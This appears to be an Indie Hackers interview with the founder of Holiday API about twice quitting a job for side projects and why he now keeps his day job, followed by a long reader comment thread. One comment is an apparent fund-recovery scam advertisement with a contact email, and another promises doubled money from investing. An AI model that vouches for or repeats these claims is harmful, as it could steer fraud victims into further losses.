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Don't quit your day job (yet) — Josh Sherman of Holiday API ($6,500/mo)

Ah, the "F this, I'm out" moment that every employee has dreamt of.

I've never done it, but Josh Sherman (@joshtronic) has — and he went full-time on his side-project. It worked for a while, but not long-term. Then he tried and failed again. Now, he's got a job, plus a new side-project making $6,500 MRR.

I don't know about you, but I wanted to know if he plans to go full-time again. Turns out, he's learned from his mistakes.


On whether going all-in on a side-hustle is necessary

At the moment, I have a few things in play, but my primary side-hustle is Holiday API, which is a data-as-a-service provider for calendar and holiday information. Current revenue is about $6,500 MRR, with 300 active subscribers, and growth of upwards of 50% year-over-year. We also offer a limited free tier, which pushes our MAUs up over 10,000.

I've gone full-time on side-projects twice in the past, leaving 6-figure jobs to do so, and I have every intention of doing it again. It's more of a "when" than an "if".

But for me, especially after doing it twice, going full-time on a side-project has to make sense. In retrospect, both times that I went full-time came more out of frustration with my employer than with an actual need to be full-time on a project.

This may not be a popular opinion, but not every side-hustle requires 40+ hours a week to grow.

Keeping a job and doing stuff on the side is a time-constraint that will ultimately help keep you focused on doing things that matter instead of doing all the things.

On why he went full-time on his side-hustles — twice

I was working full-time at a startup, and was attempting to take my first real vacation in over a year with my family. Before going, I let the CEO know that if he called me while on vacation (like he’d done in the past), I'd be done. Wouldn't you know it, the dude was able to figure out how to call THE CRUISE SHIP we were on, to get in touch with me.

After a well-timed panic attack, I drafted my resignation and enjoyed the rest of my vacation. While not my finest hour, the moment was liberating, and really checked off that box of "telling your boss to eff off and becoming your own boss".

At the time, I was sitting at ~$6K MRR with my side-project and it was growing. I was full-time on it for about two years and ended up growing revenue to ~15k MRR before it took a fall. Side note: I don't think I'll ever venture down the path of using advertising as a sole source of revenue on a project again.

Then I ended up taking a full-time job again because life, family, etc.

The second time was significantly different. My partner and I were working on a project and applied to YC. We got an in-person interview and did not get in, but we decided to roll the dice anyway. We were at $0 revenue when we went full-time and we did it for about a year. We just couldn't get the traction we needed. Burned some savings, learned a ton, no regrets.

Having a job and multiple projects is tough and sometimes I wish I could be full-time on a side-project again.

But the reality is, I probably won't roll the dice again until I'm sitting at $20-30K MRR.

Don't quit your day-job

I wouldn't suggest that other side-hustlers quit their jobs — not until they've proven that their project can generate some revenue.

Product-market fit is rarely something that comes out of your first iteration, and most (myself included) go full-time with their first iteration. Financial runways are always shorter than you've estimated, so going full-time needs to be a bit more calculated than "I have this idea, and I'm going to pursue it”.

On having a plan B... and C

When you do it, have a Plan B… and C. Obviously Plan A is that everything goes perfect, you find product market fit immediately, and you grow to a bajillion users and retire on your yacht post-IPO.

When that doesn't happen, at least for me, Plan B is to freelance to gap-fill income while still trying to focus on the side-project.

Plan C is to acknowledge the failure and get a job. While I've kept some projects alive after going back to employment, they tend to not last forever.

Coding isn't how you find product-market fit

Sadly, as I've learned over time, coding isn't how you find product-market fit. So while my days with those first two side-projects revolved around coding, I wouldn't do that now.

Going full-time now would look more like a user research role than that of an engineer. With personas identified, getting in front of potential customers would be of the utmost importance. Coding would be in the form of interactive prototypes, in an effort to figure out the right things to be building instead of throwing spaghetti at the wall.

On spending time wisely

I used to be more of a workaholic, and as of late have back-pedaled quite a bit on my thoughts regarding time invested in a project. You don't have to work 80+ hour weeks to build a business, and I've been finding the less day-to-day effort I've been putting into things has yielded the same results, if not better results. When you're stressed, you can't perform at your best. If you can't be your best self, how are you ever going to find product market fit?

Time is a very limited commodity, so making sure the time invested is always hyper-focused on the right things is where the secret sauce tends to be.

And a word to the wise

Think about the underlying reasons you want to quit your job and go full-time on your project.

Are you dissatisfied with your job? Find a new job.

Do you think you don't have enough time with your full-time job for your side project? Take inventory on how you currently spend your time, and cut out the unnecessary bits first.

While there are some success stories, most startups are doomed from the start. It's not being defeatist to go in knowing you have an uphill battle, and thus, you should think about how you can operate in such a way that will allow you to do your best work, which oftentimes means cutting out television or video game time instead of just quitting your job to find that extra time to devote towards your project.

  1. 1

    I'm super interested in building more developer focused products. How did you go about marketing and getting customers for the Holiday API?

  2. 1

    Very interestng read, thanks for sharing your story

  3. 9

    and ended up growing revenue to ~15k MRR before it took a fall

    Wait, I feel like there's a lot more to this part.

    You can't just get to $15k MRR and just fail suddenly.

    1. 2

      Yeah, I asked about that but ultimately didn't include the answer. Here's what he said:

      So that project was a social network, technically multiple social networks, all running on the same code base, which I started in 2011. The only revenue stream was Google AdSense, so as you could guess, that revenue was wholly dependent on traffic, both volume and the demographics of the users in terms of their marketability. Since the content on the site was user-generated, the context of the ads themselves varied, and over the course of a few years we actually saw the traffic increase (reads: more ad impressions), while the ad revenue itself decreased. It was one of those situations where the ability to generate predictable revenue just wasn't there.

      1. 4

        Apologies, I said MRR our of muscle memory, and that's painted a slightly different picture. That number was a high point, with MRR for the best trailing 12 month period actually being in the ~$10k range or so.

        After hitting the highs, both in terms of annual revenue and best months, we saw a roughly 30% decrease of revenue, year over year, for a few years.

        Since this was all turnkey ads, and not direct sales, anything "recurring" wasn't really as such (no sustained renewal income, etc)

        Anyway, sorry about that, @IndieJames feel free to drop the "MRR" part up there if you want :)

        1. 1

          Hey Josh, at the risk of asking the obvious, wouldn't it be logical to then explore other monetization strategies instead of just depending on AdSense 100%?

          If you have eyeballs and active users, it shouldn't be an uphill battle to monetize in other ways.

          1. 2

            Nah, it's not the obvious, since this part of the story didn't have a ton of details provided as part of the initial batch of questions.

            The uphill battle may have just been through my own lack of experience with attempting to explore the options, but overall, it wasn't without lack of effort.

            Here's a few things that I tried, in an attempt to gap fill:

            • Advertising through other platforms -- revenue numbers never came close to what Google could provide, even when Google was paying at it's worst

            • Direct sales of ads, sponsored video content, et cetera -- Also lower revenue, but also, with having little to no advertisers, specifically with targeted videos, the content was stale nearly immediately. Wasn't beneficial to either party

            • Charging for the site, certain features, selling swag, simply being user sponsored (think Patreon) -- in a world with Facebook selling your information to keep their service for free, it's very hard to compete.

            The other point with attempting to take money from users, the user base wasn't like say, this one, where it's mostly adult-aged folks, most with jobs, etc. My user base consisted mostly of teens and early twenty's folks. While they were a great bunch, anything above the $0 mark tended to be shied away from.

            Not blaming the users, by any means, but in terms of selling advertising, things were just a bit too generic, and that made it (at least at the time) seem like it was a lot harder than maybe it would be.

            That doesn't mean somebody else couldn't have made it work, but sometimes with this stuff, you're just not the guy to do it, which with that particular project, I wasn't the guy.

            Coincidentally, since then, some of the other more niche social networks at the time that were running while I was, most had all also shut down. So while perhaps it was a "me" problem, it may not have been entirely. The easy blame, obviously would be the free services, with significantly higher user bases, that made that particular project hard to keep afloat.

  4. 1

    Thanks @joshtronic for sharing such a wonderful jouney and inspiring us with a positive and constructive thougt

  5. 1

    Holiday API is definitely a good product! Good job on hitting this MRR

  6. 2

    Hey Josh, your story resonates big time! Going full-time on side projects is a journey, and your real talk about doing it not just once but twice is refreshing. Your honesty about the frustrations that led to going full-time in the past and the need for a more calculated approach is something many can relate to. The importance of keeping that day job until the revenue proves itself is a gem of wisdom. And your Plan B and C advice is just practical brilliance. Your shift from a workaholic mindset to a more focused, efficient approach to time is something we all need to hear.

  7. 2

    Holiday API and its success is definitely one of the most eye-opening stuff I have seen on IH.

  8. 2

    Nice article. Initial tractions is not everything, you need to observe your side project for at least 6-8 months before taking a major decision to leave the job.

  9. 5

    Excellent insight into the other side of taking the leap.

    Rolling the dice at $20-30K MRR? Rolling at $20–30K ARR sounds good to me! 😅

    1. 2

      Haha, yeah everyone's situation is different. I think I'd fall somewhere between those two options 😃

      1. 3

        Yeah, that's definitely a "live your truth" kind of scenario.

        That number can change pretty regularly, just based on certain life events / circumstances and all of that.

        I have a kid, at some point my overall expenses go down, that number will more than likely downshift.

        If I had kids (plural), that number would definitely be higher.

        I probably should have touched on it a bit more, but something to really consider, more than just a singular number (especially somebody else's number) is what your life / runway needs to look like.

        So you can roll the dice at ~25k ARR... does your life change at all? If not... how long will your life stay the way you want it at that number before your quality of life diminishes (and/or the stress of the situation eats you alive?)

        Startups are rarely overnight successes, so being able to dedicate a year to something is. There's no growth guarantees when you make the leap as well. Will X$ ARR today be good next year, etc.

        Just so many things to factor in, there's no right number for it :)

    2. 1

      Haha, thought the same as well. Also because it's harder to get to $20K MRR if you're still a full time employee.

  10. 4

    I like your point about the time constraints of having a job. I definitely only have time to do the essentials. And that's good, because I can't procrastinate.... But it's not so great when I'm missing out on opportunities for growth. I have a ton of ideas that I just can't execute on. So I think it's a mixed bag.

    1. 4

      I get that. I also have a ton of ideas, but very few that I pursue.

      At least for me, I approach the ideas themselves like they are of unlimited supply (if you've read anything by James Altucher, you'll get where I'm going here). Having a ton of ideas, are they all million dollar ones? Not my ideas, most (maybe all) are junk, or at the very least just silly.

      Pursuing every time you come up with could mean a few things. If nothing else, you think all of your ideas are brilliant. If that's the case, good on ya, confidence is a great thing :) It could also mean you're bored with whatever else you're doing. Falls more into the "shiny object" syndrome, where you just keep pursuing whatever is new and seemingly exciting.

      When approaching new ideas, specifically the ones that I'm really hot and heavy on, and think is going to be "huge", I typically will invest a small bit of time, and a few bucks to come up with a name and procure a domain. Then I say to myself "Josh, are you ever going to pursue this?" and then I go ahead and flip the domain to NOT auto-renewal.

      This puts a 12 month timeline on the idea and is the equivalent of setting a reminder to ping you in 11-12 months to see how things are going. When I get that email letting me know my domain is about to expire, I usually will laugh and be like "oh damn, did I really think /that/ was a good idea?" or if I'm still feeling like that there may be something there, I'll manually renew the domain and will revisit it in a year.

      There's certainly cheaper ways to go about this, but there's also something to be said about financial burden being a good constraint. If nothing else, it's kept me from having 10,000 active domains at any given moment.

  11. 3

    The product market fit is huge, and then finding the market.

    I really like the idea of investing in understanding the customer.

    I'm currently developing an app in the social media space that scrapes data from instagram and tiktok directly into the app to study competitors in your niche, which then creates an infinite loop of content ideas.

    I put this in practice myself scaling my own tiktok last year.

    But now as we're about to launch I'm trying to nail my avatar.

    For instance: an influencer is different then a business, is different then an onlyfans model or a marketing agency.

    After all the dev is almost complete I'm like, ok,who do I choose to market it to.

    These are great and sometimes tough lessons.

    1. 1

      Eventually your idea will boil down to matching up influencers with businesses.

      Current approach will work well to fetch to attract the userbase of influencers.

  12. 3

    Thanks for this reality check.

    We see too many YOLO gurus these days, and that's a trap you shouldn't fall into, especially in these AI "bubble" times.
    You could reach 10k+ MRR and be obliterated by a minor update from your favorite AI provider.

    If you can, I recommend building a product/service that you can easily manage with a reasonable daily schedule and finding a job you love but that pays the bills.

  13. 3

    This is a good perspective. I was once in the position where I prematurely quit my full time job to pursue a side project. In hindsight, I should have stayed at my job for probably 5 more months! Word of caution while I'm at it - make sure you investigate all the legal aspects of the new service you are starting before you quit your day job, or you may end up with a lot more legal fees (from having lawyers conduct diligence) than you might have thought. Which also adds more time, unfortunately.

  14. 3

    My company offers 1 year off for startup founders. I'm going to take advantage of this, as soon as my project makes $5K MRR (or ideally $10K :) )
    Of course, they don't pay during the year off (why would they?), it's just that you're still an employee and can resume at the company as soon as your startup fails :)

  15. 3

    Excellent points to consider! Thanks for sharing such insightful content :)

  16. 1

    I have relatively a weird question 😅 :
    How do you feel about having a product which generates thousands of dollars every month? Let's say %50 percent is profit, $3250 each month.

    If I could make that much building a software product, I would go nuts 😂

  17. 2

    This depends on the individual. I've seen it work out either way.
    Business is more like an art other than science.

    The founders of Netflix and Salesforce were both mid to senior mgmt before jumping into their companies full time. Mr Zuck never did that.

    We all find our ways.

  18. 2

    As someone who did this... Two things I love about this post:

    1. There are still no regrets. Just learnings for the future.
    2. Blunt honesty about the learnings from the journey!

    Thank you! :)

  19. 2

    Thanks for the post. But how do you manage to be in a full-time job and still do something on your own in the spare time? To me, that spare time is usually up to 3 hours max per day. Also, I feel super fatigued after work to a point, where sometimes my brain feels like vegatable. But in thos 3 hours after work I need to be super focused and sharp to do something valuable. How to manage all that?

    1. 2

      What I've learned is, different jobs consume different parts of your system.

      You can be creatively/mentally fatigued at one job (e.g. job in a Creative Agency)

      You can be physically fatigued at another job (e.g. retail/warehouse)

      You can be moderately fatigued at some jobs. I think these are the jobs that leave a lot of room for you to experiment in the remaining hours.

  20. 2

    Thanks for sharing such a no nonsense on take how non glamorous quitting one's job is

  21. 2

    It's great if you have a work-life balance job.

  22. 2

    Thinking about my full-time job as a way to finance my other endeavors really changed the way I look at my job. I became a better worker, a better entrepreneur, and a happier person. Great article!

  23. 2

    Im earning $20k /mo, and I could quit as soon as I reach 5k, I think that is my number, the key is avoiding debt and living with less and less money.

  24. 2

    Highly helpful lessons👍 Thank you so much for sharing 🥰.

  25. 2

    100% agree. I've always dreamed of quitting a job and working on a side project, but it makes absolutely zero sense to do that when you think about the risks.

    Also, people seem to forget how good most pension contributions are in the UK. Most companies will match how much you earn and pay towards your pension, and then add on an amount or even match that much.

    When you're 65 (or even 75), you'll be thanking the companies you worked for.

  26. 2

    Whenever I tell my friends, family, and acquaintances about my app idea - They all say they love it and they would use it. I work a full-time 9-5 job in-office, and I don't have any time for partner meetings. I don't enjoy my job, and I don't think it taps into my full potential. Should I quit my job?

    1. 2

      Same advice doesn't work for anyone. I quit my job and focused on building. I just didn't have mental capacity to do it on the side.

  27. 2

    It's really refreshing to hear a personal story that involves some decisions not going 100% as well as some reflection. It's so tempting to only ever read founder stories of a lifetime of scale and you are missing out if you haven't also quit your job. In reality, I think your advice is more valuable. Thanks for taking the time to share.

    1. 1

      Exactly. It's easy to say 'I did this (quit), so you must too'. It doesn't work like that, and the cost of failing can be really big for some more than others.

  28. 2

    It doesn't have to be the bi-modal thinking of either I'm 100% doing corporate/salaried or I do the leap of faith and hope for the best with my own gig. Starting small and gradually shifting focus from one to the other might be the best way to proceed. How to do this in practical terms depends on the specific circumstances. Do you have to over exceed at work every year or do you get by with 80% and meet that expectations while having more head room to continue to build your own baby brick by brick. Just my 0.02 cents.

  29. 2

    Thank you for this post and really drilling down the importance of getting enough revenue before quitting your job. Often times, it's so tempting to quit your job prior to that.

  30. 2

    I’d like to add that everyone can to some extent leverage their job for their next ventures.

    Leveraging your company milestones and your input can definitely help you build a distribution graph through social media. After leaving your company to jump into another project, that can become a really serious asset for customer acquisition: 5mn to write a post = 50-200 views on your website from serious prospects that have a higher likelihood than average to convert.

    TLDR: when working full-time, don’t forget to build a follower base. That’s going to be a golden asset for your next project.

  31. 2

    This was very interesting post for me as I am at the same spot right now. Having a full-time job with steady income and side-hustle with just under 30% of my salary as revenue from that. I came to the conclusion that I need a change in my life to grow and to move on. The full-time job started to be more and more frustrating and those one-week vacations are not helping anymore. So I will soon pull the trigger I think. Thank you for sharing this!

  32. 2

    I completely agree with your assessment that it's about product-market fit and really not about coding. Of course, you need to build a product in the end. But, as a software developer, it's easier and more comfortable to just jump in and start coding. The problem is when you realize that you're off the mark on what people really want.

    How did you end up getting better at the product side - identifying your key personas, finding them in the real world, and understanding their context and problems so you could build a better-targeted product? I still feel like it's a very exploratory and messy process. Any thoughts or insights would be appreciated.

  33. 2

    I think that people quit their jobs too early when starting a business. I think that they should keep their jobs and work on their business on the side until it is making enough money to support them. And the money made is actually a stable income stream.

  34. 2

    I'm a rather paranoid person when it comes to finances. I have a base 'needed to live okay-ish' threshold that needs to be fulfilled for me to have peace of mind. In all of my endeavors, the 'downfall' is already calculated, and the recovery time/money is budgeted. This derisking helps me be a bit bolder with some #YOLO moves.

    I might be slower but that is how I currently work. I'm jealous of those people which are literally going all in and succeeding. Although I have the feeling that we often only read the stories where this approach succeeded.

    Anyway, thank you for sharing!

  35. 2

    Thanks for sharing! That's inspiring! Especially like "Keeping a job and doing stuff on the side is a time-constraint that will ultimately help keep you focused on doing things that matter instead of doing all the things."

  36. 2

    Seems like you could easily raise a pre-seed or seed round at 6,500 MRR. Are you trying to bootstrap?

  37. 2

    Thanks for the very candid words @joshtronic (and great post @IndieJames)!

    Unless you're VC funded, I totally agree that you should not quit your full-time job to work on a non-profitable/growing side project. I made that mistake, paid dearly for it, but learned a lot along the way. It's life lol.

    Josh you mentioned doing some user research to de-risk one's business. That's exactly what I'm doing with EnVsion.

    On this note I wrote about applying the methods from generative research to identify customer pains. Hope that can help you and anyone else who wants to learn more about UX Research!

  38. 2

    @joshtronic, may I ask how did you think to start Holiday API and how did you validate this idea would be worthwhile to build?

    1. 4

      Great questions!

      So the project stemmed from my own need for the data. Two fold, where I was working, and one of my previous side projects were using that data, and I absolutely hated how I was maintaining it.

      Essentially, I was maintaining a list of the data I needed, with a reminder on my calendar to populate the next year's data in Q4. As an engineer, it was way too manual for my taste, and I thought "there has to be a better way!".

      The technical goal, thinking more as an engineer than an entrepreneur, was to build a system that could generate the data I needed without needing to maintain a list of the data that needed maintenance every year to stay relevant.

      That said, when originally approaching this problem, it started as an open source project as well as a free managed service (similar to what I'm running now). One of the earliest missteps was omitting the need for an account. The service didn't use API keys, nobody needed to create an account (which would have allowed me to build a list / market to folks in the future).

      This went on for a few years and after attending the first SumoCon, specifically Noah Kagan's keynote (for whom I worked with at the time). He said something that really clicked for me and changed the entire trajectory, and ultimately led to product validation).

      Paraphrasing, as it's been a few years, he said "everybody else has your money, you just need to figure out how to get them to give it to you".

      Meanwhile, I'm running a free service, and giving away the source code, being just a bit too altruistic to turn a profit.

      That same weekend, I took a step back and said "okay, how do I figure out if people will pay for this?"

      This pivot in thinking had some hard decisions included. As mentioned, the service didn't have any sort of authentication component, which was absolutely necessary if I was going to figure out who the people using the service were.

      Sucks to break the service for people that weren't paying, but that's what I did. Requiring an API (which you'd get if you created an account) had an immediate impact and put me in front of people that could potentially pay me.

      People were signing up, but the service was still free.

      I let this go on for a spell before reaching out to the users that were making the most requests. I said "hey, you're using this, and we're actually moving away from our free model, would you be willing to pay for it?"

      I didn't have a checkout, I didn't even have a price in mind. My goal was to get my first sale. Which I eventually did, within a week. I honestly don't even remember what the price point was. Pretty sure it was monthly (we're annual-only now, but that's another story) and the rest is history!

      Going zero to one was solid validation from my perspective. That first sale turned into more sales. I experimented a ton with pricing early on. At some point actually added in a formal check out and continued to improve the product.

      The TL;DR is that I was extremely fortunate that I had built an audience of potential customers by offering the service for free initially.

      That said, when the data is your commodity, going the freemium route is [at least from my perspective] harder, since folks can usually find a way to make the free tier work, and ultimately never pay.

      I played around a lot with how to continue to get people in the door for free and show them value without actually giving away the farm.

      Definitely angered a few folks along the way, but in retrospect, that anger, at the very least proved that people wanted what I had.

      1. 1

        Love it! That's a really great story; I appreciate the response :)

        I think it's very cool how organic the process was from creating something to scratch your own itch, seeing that it was useful to others and then "productizing" it with authentication + a checkout page.

        Cheers!

  39. 2

    Excellent point that not all projects need 40+ hours a week and not all businesses need 80+ hours a week. Each project has its own limits and we have to respect them

  40. 1

    I'm just wondering how your product is going in 2023?

  41. 1

    Really appreciate this post. Currently starting myself in the Travel industry and can understand how hard it is.
    I am fortunate that my day job is also my hobby (website designer), so having a read through this really helped me align my mind to the length of the process!

    Thanks again!

  42. 1

    The one common theme I keep hearing about in the entrepreneur journey is that basically talking to customers and building for them is the best way to spend your time. Unless you are solving your own problem (aka you are your own customer) you need to spend time with people before creating anything tangible.

  43. 1

    For me, this has to be the best-case scenario. In reality, as you say, you need a significant MRR to mitigate the security of a full-time role; however, you now, in effect, have **** you money. If, for whatever reason, you don't like your job, you can say, **** you I quit, and take your time looking for something else! For me, this is the ultimate freedom, you are working because you want to not because you have to.

  44. 1

    Thanks for sharing. In the best-case scenarios, I think quicking your job and becoming a solo entrepreneur should be a smoother transition (working full time, than part-time, ...).

  45. 1

    Why did you decided to built this? Isnt there a lot of options already for the same problem?

  46. 1

    While working at Big Tech, I was running a startup(martketplace for home services). At some point, I couldnt handle the work at the Big Tech company, too boring. Some days, i didnt even want to open my laptop. Anyways, after 6 months in, I decided to jump full time into the startup.
    Currently is still running, but I left it to my cofounder, I have no regret, burned a decent amount of cash and will do it again.

  47. 1

    Hard agree regarding the runways always being shorter than you expect, and the idea around coding less. Being someone with a coding background that has always been my go-to approach because it's what is familiar. The more experience I get, the more I see that it's really not the best approach.

    Thanks for the post!

  48. 1

    I am running an IT hardware business away from my country, and a logo maker as a side business. I always dream to grow the logo maker's profit to somewhere close to my IT business so that I can say " Fxxx it, I've had enough and returnd to my homeland!". It wouldn't be long, latest by next year!✌️

  49. 1

    I agree once i stopped playing all video games i realized this!

  50. 1

    Thanks for this. 100% agree

  51. 1

    Working freelance gives you the ability to go the in-between route. Working more when your need more money, and working less when you can afford to dedicate more time to your project!

  52. 1

    We should always strive to improve our alternatives in order to liberate ourselves through free decision-making!

  53. 1

    Totally agree with you! It's so important to reflect on the real reasons behind wanting to make such a big life change. Quitting a job shouldn't be the immediate answer to finding more time. Prioritizing and time management is key before making such a drastic decision. Thanks for the reality check. 👏

  54. 1

    I loved the idea of not going full time until the revenue is around 20K-30K.

    1. 2

      So true, and it must be a stable revenue up to 6 months at least then only you can tell the MRR is really this much.

    2. 1

      What country do you live in? Even 10K is a high enough amount for most of the world.

  55. 1

    I love the idea of having a plan B and C.

    The idea of quitting your job, and dropping out of school is so overrated and unreasonable.

    It makes no sense for some people who simply can't afford to do that.

    There's power and grace in staying at your job, committing to a role, and still working tirelessly to scale a business from the ground up.

    Entrepreneurship has no playbook. You make your own rules.

  56. 1

    I can relate to your experience. In the past, I've also worked on projects where my main focus was coding without paying enough attention to the end users. Unfortunately, this approach often leads to less-than-desirable results.

  57. 1

    Very interesting thoughts and lessons

    I like the "Think about the underlying reasons you want to quit your job and go full-time on your project."

    I was there at my last job, whishing to be able to live from a side project to never have to experience those super stressful days, but at the end as you point, it has to do more with your horrible job rather than you having a 1M dollar startup idea that need to be executed because you are going to miss the oportunity.

  58. 1

    "But the reality is, I probably won't roll the dice again until I'm sitting at $20-30K MRR."

    Love this. I've been living off of the income from my businesses/projects for 5 years now but TBH, it's exhausting and puts a lot of pressure on plan A working out every time. I've been successful but wasn't for the first time last year and I have kid, always-eating dog and mortgage! So, I've actively looking for a role that still lets me explore the industry I'm working in but lets me take the financial pressure off the projects. I'm excited!

  59. 1

    I was a victim of defi-lending.net defi- loan static income investment scam. The total loss of my retirement 401k has been put in storage. I lost 284,727.94USD. I saw a number of reviews on Google and contacted a few to weigh my options. I settled with CyberPunk because they explained they helped other people who were conned by the same website and they did not ask for upfront fees unlike others. They really saved me because I was on the verge of bankruptcy. Their email is cyberpunk (@) programmer (.) net

  60. 1

    This article is a gold-mine and a reality check for me. Good thing I haven't left my job.

  61. 1

    i already quit my job 6 months back and went to pursue my dream of being an entrepreneur/broken. i am almost broken but still not giving up, want to push till possible.

    1. 1

      This comment was deleted a year ago.

  62. 1

    Amazing! Going full-time on a side-project should be calculated, with a Plan B & C. Spending time wisely is key. #SideHustleSuccess

  63. 1

    Quite an Insightful Post! Helped me a lot. Thanks.

  64. 1

    Thanks for your Amazon post! That help a lot to pursue our goals.

  65. 1

    Great post!
    With 6k MRR I'd probably quit my job because I love building my own stuff and am not risk averse at this stage in my life, but I'll probably refrain from quitting with 0 MRR again lol

  66. 1

    Thanks for the amazing post:)

  67. 1

    story about ceo who was calling and ship cruise is really funny though:)

  68. 1

    Thank you for your insight

  69. 1

    I am always struggling with the idea of quitting the day job. It is the security cushion that keeps me afloat but I always think it holds me back

  70. 1

    Thank you for your insight, I have a full time job but am putting in serious effort to build a app I am passionate about - I will take your advice and keep my day job thanks

  71. 1

    True that! Quitting your job early until you can supplement 2x the monthly income from your business is a bad idea.

  72. 1

    Where I live, it's possible to take a leave of absence for a while, which is always better than just quitting your job, as the chances of having to return to work in order to survive are very high.

  73. 1

    I think this is all very practical advice that I wish I would have followed. I worked in private equity and was very excited to quit my job and go all in on building my trading business. However, with a daughter on the way and a 1-year time frame to build my trading business, it was way too much pressure for myself. It was probably the worst year of my life to be honest, but I also learned the most from it. I ended up getting an investment banking job and just continued to build my trading business on the side. I'm so much more balanced and happier with this method, where I can focus on slow and steady progress with my business, Algorithmic Futures. Its at ~$100,000 annual revenue and growing steady. Looking back, I was way too idealistic thinking that I needed to quit my job and go all in. You have to find what works best for you though.

  74. 1

    How did you come up with the idea for DaaS. What was your process of validating it?

  75. 1

    That is a very insightful post. I have built many product ideas starting with code and after the time investment it is always disappointing to see that parts of it don't fit the marketing or even worse the whole product.

    I would love to learn more about how you would go about validating a product with your experience now!

  76. 1

    Great info bro, I will keep it in mind.

  77. 1

    It's always a good idea to weigh the risks and benefits of quitting a job to pursue a side project. While it may be tempting to leave a job you don't enjoy, it's important to consider the stability and security that a steady income and pension contributions can provide. That being said, if you do have some flexibility in your main job, a side job can be a great way to explore your interests and potentially build skills and connections for future opportunities. It's all about finding the right balance and being mindful of your goals and priorities.

  78. 1

    Completely agreed 🧡
    Job provides financial security and mental satisfaction. These are very essential in building a startup and many give up just because of not preparing in advance to these factors.
    It's better to have it as a side project until we make atleast 60% of our job. It would be the time where we would already have an understanding about the continuity of the business and the feasibility of it in the market.

  79. 1

    You can't give up your day job. It's part of life. It's indispensable.
    But some of you might have a little bit of slack in your main job and want to find a side job so what do you do?
    Or what kind of side business can you find that won't affect your attention?

  80. 1

    I completely agree with the statement that coding alone isn't how you find product-market fit.

    • It's essential to conduct user research and understand your target audience's needs and pain points to develop a product that meets their requirements.
    • Interactive prototypes can be a powerful tool in this process, as they allow you to test your assumptions and iterate quickly based on user feedback.
    • By prioritizing user research over coding, you can avoid wasting time and resources building a product that doesn't meet market demand.

    Overall, it's important to approach product development with a customer-centric mindset and be willing to pivot your strategy based on feedback from the market.

  81. 1

    this was really helpful as I have been thinking about quitting all about product design and going to learn how to code and build out my ideas, I have seen a reason to think about that decision again, thank you!

  82. 1

    Thanks for sharing, I find it useful

  83. 1

    Thanks for Sharing!!! Totally agree. It's important to make sure you have a secure financial future before taking that leap.

  84. 1

    Thanks for sharing! How much do you think that quitting your full time job helped the outcome of your side project?

  85. 1

    Very nice article. Thank you!

  86. 1

    People always to say "go in 100%", which to me, sounds just far too risky. An indie hacker unfortunately has only a 20% chance of succeeding, however a person going broke without a job for a few months is more likely by far.

  87. 1

    Your post has helped me to make the decision as I was thinking about saving up as much money as I could and put 100% of my time into bootstrapping my startup. I really should stay in my current job to make sure my idea could be achieved in a more realistic manner. Thank you for sharing.

  88. 1

    Finally what I think is a well thought article about this hot topic: too often I notice that the "go full-in" is more bragging than making any sense. If you really believe in your side-project, more often than not if you can go "full-in" means you don't have a family to maintain or a mortgage, so you can also manage to spend another 4 hours per day plus weekends on any side project. Financial stability is what can allow you to concentrate on the good of your project, and not rushing for investors because you need a wage. Excellent article!

  89. 1

    I really wanted to quit my job, but didn't want to gamble all my savings just because I was unhappy in my role. Quitting when you have some revenue or validated product makes more sense, but at the very early stage I found that switching to a 4 day working week significantly boosted my productivity whilst keeping the financial security.

  90. 1

    I got hurt the hard way, leaving the job without substantial focus on what to build and, more importantly, what is working.
    Nevertheless, in the pure "learning by doing" method, I got some fresh air and freezing shower over my head that reminds me to be more cautious in future situations.

  91. 1

    Investing your money in pakistan because its gets double

  92. 1

    That was an interesting piece to read. Drama is super seductive, but being sober is what brings good fruit 🦾

  93. 1

    Our app has data on 250 countries

    Tell me you're American without telling me you're American 😂😂😂

    1. 1

      (for anyone wondering at home, there are less than 200 countries in the world, and altogether 206 if you want to include all the countries that are self-proclaimed but unrecognized, or of disputed status, etc. My somewhat snarky comment above is based on my experience that only American companies seem to claim that they have "customers in 200+, 250, 300, sometimes 'almost 1,000' countries")

  94. 1

    Totally agreed with not coding the product-market-fit, but personally finding it hard to validate your MVP.

  95. 1

    In my industry (teaching), it wasn't feasible to continue working while taking a second income stream, and I didn't know exactly how much time it would take to fully launch. I bet on myself before we even opened for paying subscribers, and now in the early stages of building reputation, onboarding, and polishing the product to become as passive as possible. Maybe I jumped a year early, but I think it will work out.

  96. 1

    I love how you detailed the journey, I learned a ton from this article! Good luck with the success of your side projects!

  97. 1

    Hey @IndieJames - Love the post ❤️ The article is really useful and it's amazing how you created an API that is doing so great! Being inspired by these anecdotes I've started my own side project which is essentially an Open Source Project for Alternative Data APIs. You can check us out at https://www.altapi.tech/ and let us know of what you think! Kudos!

  98. 1

    The balance working a full-time job with a side-project, and what strategies does to use to ensure success in both endeavors is quite a challenge for most people. This article is quite insightful but it is way more difficult in everyday life and need quite a strong mindset.

  99. 1

    Keeping a job and doing stuff on the side is a time-constraint that will ultimately help keep you focused on doing things that matter instead of doing all the things.

    I would add to this that, in my experience, the time I spend on my "day job" gives me space to come back to my side projects with more perspective.
    For instance, I may have been blocked on a tricky bug in my side project code. Going back to it after several hours on my main job almost always allows me to rethink the problem, remove anxiety and eventually fix things. I've found the same process helped me on non-code related tasks, like UX design, market fit research, etc.

  100. 1

    l'm recently starting a food business in singapore. It help me a lot would you plz give me some advice. in my learning process i got help from https://singaporehut.com .it give me a lot to boost my business.

  101. 1

    I got fired last month and I was trying to figure out a way to do something instead of finding a new job immediately. I gave myself three months to propose a specific road. After that, if it's a failure, I'll find a new job and continue to find my own target. Thanks for your sharing!

    1. 1

      I’d split my time between job hunt and work on the project if I was you. Finding a new job is fairly time consuming and very random!

      Good luck man! Hope you won’t have to find a job! 😜

  102. 1

    Hi James! First of all congratulations, this is awesome!

    I was just wondering if you were working solely on your own or with someone? I'm currently working with someone on a mobile app that we think might make a bit of revenue and would love to learn more about how you structured your entity and taxes.

    Did you do a sole or dual proprietorship, an inc, an llc etc? And why? If not, is there anything you recommend for two indiehackers working together on an app? Thank you so much! :)

  103. 1

    Thx for sharing it, it helps a lot. It makes me want to get back to my side hustle. Still, I'm trapped by the newly launched Overwatch2 damn.

  104. 1

    Taking calculated risk is important, setting up the business and reaching a certain scale before quitting full time job. Great one!

  105. 1

    At the beginning it's a common way to give all of your time to side projects but as you said, the best planification wins and putting on it less time almost always will bring more results. Nice post, thanks for sharing it!

  106. 1

    Thanks for sharing this, James. I think you put it really well as it also depends on the risk assessment and the individuals.
    Some might say I do full time when I get about the same amount from my side-hustle whereas for others it might be at least twice.

